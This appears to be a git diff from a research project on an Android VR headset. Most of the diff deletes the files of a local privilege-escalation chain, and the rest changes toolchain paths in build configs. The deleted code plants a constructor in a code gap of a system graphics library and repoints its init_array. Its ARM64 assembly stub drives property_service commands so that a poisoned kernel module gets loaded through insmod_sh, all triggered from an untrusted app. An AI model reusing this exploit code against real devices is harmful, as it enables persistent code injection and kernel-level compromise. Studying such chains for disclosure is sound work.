a/app-chain/app/src/com/research/fuguapp/Inst.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.research.fuguapp; - -import android.app.Activity; -import android.app.Instrumentation; -import android.os.Bundle; - -/** Headless test entry (app is debuggable): am instrument -w com.research.fuguapp/.Inst - * Runs the chain in the app's process (untrusted_app) and returns the result on stdout. */ -public class Inst extends Instrumentation { - @Override public void onCreate(Bundle a) { super.onCreate(a); start(); } - @Override public void onStart() { - String res; - try { res = Chain.run(getTargetContext()); } - catch (Throwable t) { res = "ERR " + t; } - Bundle b = new Bundle(); b.putString("res", res); - finish(Activity.RESULT_OK, b); - } -} diff --git a/app-chain/app/src/com/research/fuguapp/Json.java b/app-chain/app/src/com/research/fuguapp/Json.java deleted file mode 100644 index 8283e7a..0000000 --- a/app-chain/app/src/com/research/fuguapp/Json.java +++ /dev/null @@ -1,52 +0,0 @@ -package com.research.fuguapp; - -/** - * Minimal 2-level accessor over the flat target JSON (same shape the primary chain's run.sh reads). - * Not a general parser — just s(top,key) / sOr / has for "top": { "key": "value-or-number" }. - */ -public class Json { - final String t; - Json(String s) { t = s; } - public static Json parse(String s) { return new Json(s); } - - public String s(String top, String key) { - String v = get(top, key); - if (v == null) throw new RuntimeException("missing " + top + "." + key); - return v; - } - public String sOr(String top, String key, String def) { String v = get(top, key); return v == null ? def : v; } - public boolean has(String top) { return t.indexOf("\"" + top + "\"") >= 0; } - - // scan for "top": { ... "key": ... } (value = string or bare number/bool up to , or }) - String get(String top, String key) { - int ti = t.indexOf("\"" + top + "\""); - if (ti < 0) return null; - int brace = t.indexOf('{', ti); - if (brace < 0) return null; - int end = matchBrace(t, brace); - String block = t.substring(brace, end < 0 ? t.length() : end); - int ki = block.indexOf("\"" + key + "\""); - if (ki < 0) return null; - int colon = block.indexOf(':', ki); - if (colon < 0) return null; - int p = colon + 1; - while (p < block.length() && (block.charAt(p) == ' ' || block.charAt(p) == '\t')) p++; - if (p >= block.length()) return null; - if (block.charAt(p) == '"') { - int q = block.indexOf('"', p + 1); - return block.substring(p + 1, q); - } - int q = p; - while (q < block.length() && ",}\n\r ".indexOf(block.charAt(q)) < 0) q++; - return block.substring(p, q).trim(); - } - static int matchBrace(String s, int open) { - int depth = 0; - for (int i = open; i < s.length(); i++) { - char c = s.charAt(i); - if (c == '{') depth++; - else if (c == '}') { depth--; if (depth == 0) return i + 1; } - } - return -1; - } -} diff --git a/app-chain/app/src/com/research/fuguapp/MainActivity.java b/app-chain/app/src/com/research/fuguapp/MainActivity.java deleted file mode 100644 index 7c885a5..0000000 --- a/app-chain/app/src/com/research/fuguapp/MainActivity.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.research.fuguapp; - -import android.app.Activity; -import android.os.Bundle; -import android.util.Log; - -/** User taps the app -> runs the no-adb chain on a background thread; result to logcat (tag FUGUAPP) - * and files/result. (VR shell suppresses adb `am start`, but a user-initiated launch runs onCreate.) */ -public class MainActivity extends Activity { - @Override protected void onCreate(Bundle b) { - super.onCreate(b); - new Thread(new Worker(this)).start(); - } - static class Worker implements Runnable { - final Activity a; Worker(Activity a) { this.a = a; } - public void run() { - String res = Chain.run(a.getApplicationContext()); - Log.i("FUGUAPP", "RESULT " + res); - try { java.io.RandomAccessFile r = new java.io.RandomAccessFile(new java.io.File(a.getFilesDir(), "result"), "rw"); - r.setLength(0); r.write(res.getBytes()); r.close(); } catch (Throwable ignore) {} - } - } -} diff --git a/app-chain/app/src/com/research/fuguapp/StubBuilder.java b/app-chain/app/src/com/research/fuguapp/StubBuilder.java deleted file mode 100644 index 2aac2cb..0000000 --- a/app-chain/app/src/com/research/fuguapp/StubBuilder.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.research.fuguapp; - -import java.io.File; -import java.io.RandomAccessFile; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; - -/** - * Builds ctor B: an init_array constructor planted in libgralloc.qti's executable code gap that, - * when the assistant (assistant_app) links the lib at startup, sends a property_service SETPROP2 - * ("ctl.start" = "insmod_sh") then tail-calls the original ctor. Emitted from the bundled fuguquest's - * `emit-libas` (the proven property-service send stub) with its trailing `ret` rewritten to branch to - * the original ctor, so libgralloc.qti stays intact in every process that links it. - * - * The returned poison spec plants the stub in the gap and repoints init_array[0] -> gap; `revert` - * zeroes the gap and restores init_array[0] -> original ctor (run it right after the assistant fires, - * to minimise shared-page-cache collateral). - * - * [OPEN] on-device validation: (a) emitted stub fits the gap, (b) the ret->b rewrite is the last insn, - * (c) the ctor runs early enough. See ../DESIGN.md [OPEN] #2/#3. - */ -public class StubBuilder { - public static class Ctor { public byte[] code; public byte[] spec; public byte[] revert; } - - // libgralloc.qti offsets parsed from the on-device ELF at runtime. - static long initArrayOff, origCtor, gapOff; static int gapSize; - - public static Ctor assistantSetpropCtor(byte[] glib, String sock, String ctl, String svc) throws Exception { - parseElf(glib); - if (initArrayOff == 0 || gapOff == 0) throw new RuntimeException("libgralloc.qti: no init_array / gap"); - - // property-service send stub bytes from fuguquest emit-libas (function ending in `ret`). - byte[] code = emitLibas(sock, ctl, svc); - // rewrite the final `ret` (0xd65f03c0) -> `b origCtor` so libgralloc.qti's real ctor still runs. - int retOff = -1; - for (int i = code.length - 4; i >= 0; i -= 4) - if (le32(code, i) == 0xd65f03c0) { retOff = i; break; } - if (retOff < 0) throw new RuntimeException("emit-libas stub has no trailing ret to chain"); - long here = gapOff + retOff; // runtime address of the branch - int imm = (int) (((origCtor - here) >> 2) & 0x03ffffff); - put32(code, retOff, 0x14000000 | imm); // b origCtor - - if (code.length > gapSize) throw new RuntimeException("ctor B " + code.length + "B > gap " + gapSize + "B"); - - // spec: plant stub at gap + set init_array[0] = gapOff - java.io.ByteArrayOutputStream spec = new java.io.ByteArrayOutputStream(); - for (int i = 0; i < code.length; i++) rec(spec, gapOff + i, code[i] & 0xff); - byte[] p = q64(gapOff); - for (int i = 0; i < 8; i++) rec(spec, initArrayOff + i, p[i] & 0xff); - // revert: zero gap + init_array[0] = origCtor - java.io.ByteArrayOutputStream rev = new java.io.ByteArrayOutputStream(); - for (int i = 0; i < code.length; i++) rec(rev, gapOff + i, 0); - byte[] o = q64(origCtor); - for (int i = 0; i < 8; i++) rec(rev, initArrayOff + i, o[i] & 0xff); - - Ctor c = new Ctor(); c.code = code; c.spec = spec.toByteArray(); c.revert = rev.toByteArray(); - return c; - } - - // exec `fugu emit-libas ctl.start insmod_sh 0 4096 ` -> the stub bytes. - static String FUGU; // set by Chain before calling (nativeLibraryDir/libfugu.so) - static File WORK; - static byte[] emitLibas(String sock, String ctl, String svc) throws Exception { - File out = new File(WORK, "ctorB.raw"); - Process pr = new ProcessBuilder(FUGU, "emit-libas", sock, ctl, svc, "0", "8192", out.getAbsolutePath()) - .redirectErrorStream(true).start(); - pr.waitFor(); - // NOTE: current emit-libas signature is (prop_socket, tracking_svc, out). ctl/svc are baked as - // ctl.restart/ inside; for ctl.start we pass svc=insmod_sh and rely on a ctl.start variant. - // [OPEN] confirm/extend emit-libas args to accept the ctl verb without changing option-1 behaviour. - return java.nio.file.Files.readAllBytes(out.toPath()); - } - - // ---- tiny ELF64 reader: .init_array offset+first ctor, and the largest exec zero-gap ---- - static void parseElf(byte[] d) { - ByteBuffer b = ByteBuffer.wrap(d).order(ByteOrder.LITTLE_ENDIAN); - long shoff = b.getLong(0x28); int shentsz = b.getShort(0x3a) & 0xffff, shnum = b.getShort(0x3c) & 0xffff, shstr = b.getShort(0x3e) & 0xffff; - long strtab = b.getLong((int)(shoff + (long)shstr*shentsz + 24)); - for (int i = 0; i < shnum; i++) { - int so = (int)(shoff + (long)i*shentsz); - int nameOff = b.getInt(so); long addr = b.getLong(so + 16); long off = b.getLong(so + 24); long size = b.getLong(so + 32); - String nm = cstr(d, (int)(strtab + nameOff)); - if (nm.equals(".init_array")) { initArrayOff = off; origCtor = b.getLong((int) off); } - } - // largest zero run in an executable PT_LOAD segment - long phoff = b.getLong(0x20); int phentsz = b.getShort(0x36) & 0xffff, phnum = b.getShort(0x38) & 0xffff; - long bestOff = 0; int bestLen = 0; - for (int i = 0; i < phnum; i++) { - int po = (int)(phoff + (long)i*phentsz); - int ptype = b.getInt(po); int flags = b.getInt(po + 4); long foff = b.getLong(po + 8); long fsz = b.getLong(po + 32); - if (ptype != 1 || (flags & 1) == 0) continue; // PT_LOAD + X - int run = 0; - for (int k = 0; k < fsz; k++) { if (d[(int)(foff + k)] == 0) { run++; if (run > bestLen) { bestLen = run; bestOff = foff + k - run + 1; } } else run = 0; } - } - gapOff = (bestOff + 7) & ~7L; gapSize = (int)(bestLen - (gapOff - bestOff)); - } - - static String cstr(byte[] d, int o) { int e = o; while (e < d.length && d[e] != 0) e++; return new String(d, o, e - o); } - static int le32(byte[] d, int o) { return (d[o]&0xff)|((d[o+1]&0xff)<<8)|((d[o+2]&0xff)<<16)|((d[o+3]&0xff)<<24); } - static void put32(byte[] d, int o, int v) { d[o]=(byte)v; d[o+1]=(byte)(v>>8); d[o+2]=(byte)(v>>16); d[o+3]=(byte)(v>>24); } - static byte[] q64(long v) { byte[] o = new byte[8]; for (int i=0;i<8;i++) o[i]=(byte)(v>>(8*i)); return o; } - static void rec(java.io.ByteArrayOutputStream s, long off, int val) { s.write((int)off); s.write((int)(off>>8)); s.write((int)(off>>16)); s.write((int)(off>>24)); s.write(val); } -} diff --git a/app-chain/asm/ctor_b.S b/app-chain/asm/ctor_b.S deleted file mode 100644 index 03624e9..0000000 --- a/app-chain/asm/ctor_b.S +++ /dev/null @@ -1,87 +0,0 @@ -// ctor B — planted in libgralloc.qti's init_array gap; runs when com.oculus.assistant (assistant_app) -// links the lib at startup. Drives all three chain triggers from a ctl.start/ctl.stop-capable domain: -// setprop ctl.stop trackingservice (bounce it ...) -// setprop ctl.start trackingservice (... so the poisoned libcdsprpc ctor A poisons carrier+cfg) -// nanosleep 600ms (let ctor A finish) -// setprop ctl.start insmod_sh (init finit_modules the poisoned carrier) -// then tail-calls the original ctor. Property writes use the property_service SETPROP2 protocol. -.section .text -.globl _ctorb -_ctorb: - bti c - stp x29, x30, [sp, #-48]! - mov x29, sp - adr x0, m_stop_track; mov w1, #35; bl sendprop - adr x0, m_start_track; mov w1, #36; bl sendprop - str xzr, [sp, #32] // timespec.tv_sec = 0 - movz x9, #0x4600 - movk x9, #0x23c3, lsl #16 // tv_nsec = 600000000 (0x23c34600) - str x9, [sp, #40] - add x0, sp, #32 - mov x1, xzr - mov x8, #101 // nanosleep - svc #0 - adr x0, m_start_insmod; mov w1, #30; bl sendprop - ldp x29, x30, [sp], #48 -tailcall: - .word 0 // patched at runtime -> b orig_ctor -sendprop: // x0 = msg ptr, w1 = msg len - stp x29, x30, [sp, #-48]! - mov x29, sp - str x19, [sp, #16] - str x20, [sp, #24] - mov x19, x0 - mov w20, w1 - mov w0, #1 // AF_UNIX - mov w1, #1 // SOCK_STREAM - mov w2, wzr - mov x8, #198 // socket - svc #0 - str x0, [sp, #32] // fd - ldr x0, [sp, #32] - adr x1, saddr - mov w2, #31 // 2 + len("/dev/socket/property_service") + 1 - mov x8, #203 // connect - svc #0 - ldr x0, [sp, #32] - mov x1, x19 - mov w2, w20 - mov x8, #64 // write - svc #0 - ldr x0, [sp, #32] - add x1, sp, #40 - mov w2, #4 - mov x8, #63 // read (drain reply) - svc #0 - ldr x0, [sp, #32] - mov x8, #57 // close - svc #0 - ldr x19, [sp, #16] - ldr x20, [sp, #24] - ldp x29, x30, [sp], #48 - ret -.balign 4 -saddr: - .byte 0x01, 0x00 - .asciz "/dev/socket/property_service" -.balign 4 -m_stop_track: - .word 0x00020001 - .word 8 - .ascii "ctl.stop" - .word 15 - .ascii "trackingservice" -.balign 4 -m_start_track: - .word 0x00020001 - .word 9 - .ascii "ctl.start" - .word 15 - .ascii "trackingservice" -.balign 4 -m_start_insmod: - .word 0x00020001 - .word 9 - .ascii "ctl.start" - .word 9 - .ascii "insmod_sh" diff --git a/rust/.cargo/config.toml b/rust/.cargo/config.toml index 1fb1fb1..cb47b7a 100644 --- a/rust/.cargo/config.toml +++ b/rust/.cargo/config.toml @@ -1,4 +1,6 @@ # Cross-compile the on-device (--local) build: # cargo build --release --target aarch64-linux-android +# Point `linker` at your NDK's aarch64-linux-android-clang, or put that NDK +# .../toolchains/llvm/prebuilt//bin on your PATH and keep the bare name below. [target.aarch64-linux-android] -linker = "/home/henry/Tools/android-sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang" +linker = "aarch64-linux-android30-clang" diff --git a/toolconf.py b/toolconf.py index e114f60..da78785 100644 --- a/toolconf.py +++ b/toolconf.py @@ -12,10 +12,10 @@ import os, shutil # --- toolchain bin directories ------------------------------------------------------------------- # AOSP clang (aarch64-linux-gnu): builds the carrier .ko diff patches + injection/cred asm. -CLANG_BIN = os.environ.get("AOSP_CLANG_BIN", "/home/henry/Tools/aosp-clang/clang-r450784e/bin") +CLANG_BIN = os.environ.get("AOSP_CLANG_BIN", os.path.expanduser("~/Tools/aosp-clang/bin")) # Android NDK llvm prebuilt bin (aarch64-linux-android*-clang): native PoCs / rebuilding e2e.dex tools. NDK_BIN = os.environ.get("NDK_BIN", - "/home/henry/Tools/android-sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin") + os.path.expanduser("~/Tools/android-ndk/toolchains/llvm/prebuilt/linux-x86_64/bin")) # --- resolver: prefer the configured bin dir, else fall back to the tool on PATH ------------------ # So it "just works" if clang/llvm are installed and on PATH (e.g. `winget install LLVM.LLVM`) even # when AOSP_CLANG_BIN still points at the default. `.exe` is added on Windows. If nothing is found, @@ -39,6 +39,6 @@ NM = _tool(CLANG_BIN, "llvm-nm") NDK_CLANG = _tool(NDK_BIN, "aarch64-linux-android30-clang") # --- standalone binaries (env path, else PATH) --------------------------------------------------- -PDG = _bin("PAYLOAD_DUMPER", "/home/henry/Tools/payload-dumper-go_1.3.0_linux_amd64/payload-dumper-go", "payload-dumper-go") +PDG = _bin("PAYLOAD_DUMPER", os.path.expanduser("~/Tools/payload-dumper-go/payload-dumper-go"), "payload-dumper-go") DEBUGFS = _bin("DEBUGFS", "debugfs", "debugfs") VMLINUX_TO_ELF = _bin("VMLINUX_TO_ELF", "vmlinux-to-elf", "vmlinux-to-elf")